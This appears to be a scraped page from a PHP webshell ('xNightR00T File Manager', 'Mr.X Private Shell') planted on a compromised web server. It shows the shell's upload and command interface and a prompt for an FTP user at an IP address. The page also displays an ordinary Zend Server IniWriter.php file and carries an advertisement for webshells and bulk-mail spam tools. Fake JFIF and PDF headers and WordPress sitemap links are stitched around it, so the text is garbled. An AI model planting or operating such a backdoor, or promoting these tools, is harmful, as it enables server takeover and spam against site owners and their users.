xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace ZendServer\Ini;

use ZendServer\Log\Log;

class IniWriter extends \Zend\Config\Writer\Ini
{

    /**
     * Allows updating a group of directives which belong to the same section (or have no section all together)
     *
     * @param string $iniPath
     * @param array $directives
     * @param string $section
     * @throws Exception
     */
    public function updateDirectives($iniPath, array $directives, $section = null)
    {
        $config = array();

        try {
            $reader = new IniReader();
            $config = $reader->fromFile($iniPath, ($section !== null)); // will process section is section was passed
        } catch (\Exception $e) {
            Log::debug("Ini::fromFile() failed - '$iniPath' is still empty?");
        }

        try {
            if ($section) {
                if (!isset($config[$section])) {
                    $config[$section] = array();
                }
                $config[$section] = $directives + $config[$section];
            } else {
                $config = $directives + $config;
            }

            $this->toFile($iniPath, $config);
        } catch (\Exception $e) {
            log::err("failed to update '$iniPath' - bad permissions?: ".$e->getMessage());
            throw $e;
        }

        Log::debug("updated file '$iniPath' in section '$section' with directives: ".print_r($directives, true));
    }

    /**
     * we assume that either the file has no sections, or has a single section which all directives belong to
     *
     * @param string $iniPath
     * @param array $directives
     */
    public function updateZendDirectives($iniPath, array $directives)
    {
        $reader                  = new IniReader();
        $zendDirectives          = $reader->fromFile($iniPath, false);
        $zendDirectivesSectioned = $reader->fromFile($iniPath);

        /// if the keys are completely different, this is probably a section
        $isSectioned = (!array_intersect_key($zendDirectives, $zendDirectivesSectioned));

        foreach ($directives as $name => $directive) {
            $zendDirectives[$name] = $directive;
        }

        if ($isSectioned) {
            $zendDirectivesSectioned[key($zendDirectivesSectioned)] = $zendDirectives;
        } else {
            $zendDirectivesSectioned = $zendDirectives;
        }

        $this->toFile($iniPath, $zendDirectivesSectioned);
        Log::info("Stored db configuration directives in {$iniPath}");
    }
}

Filemanager

Name Type Size Permission Actions
IniReader.php File 1.16 KB 0644
IniWriter.php File 2.43 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml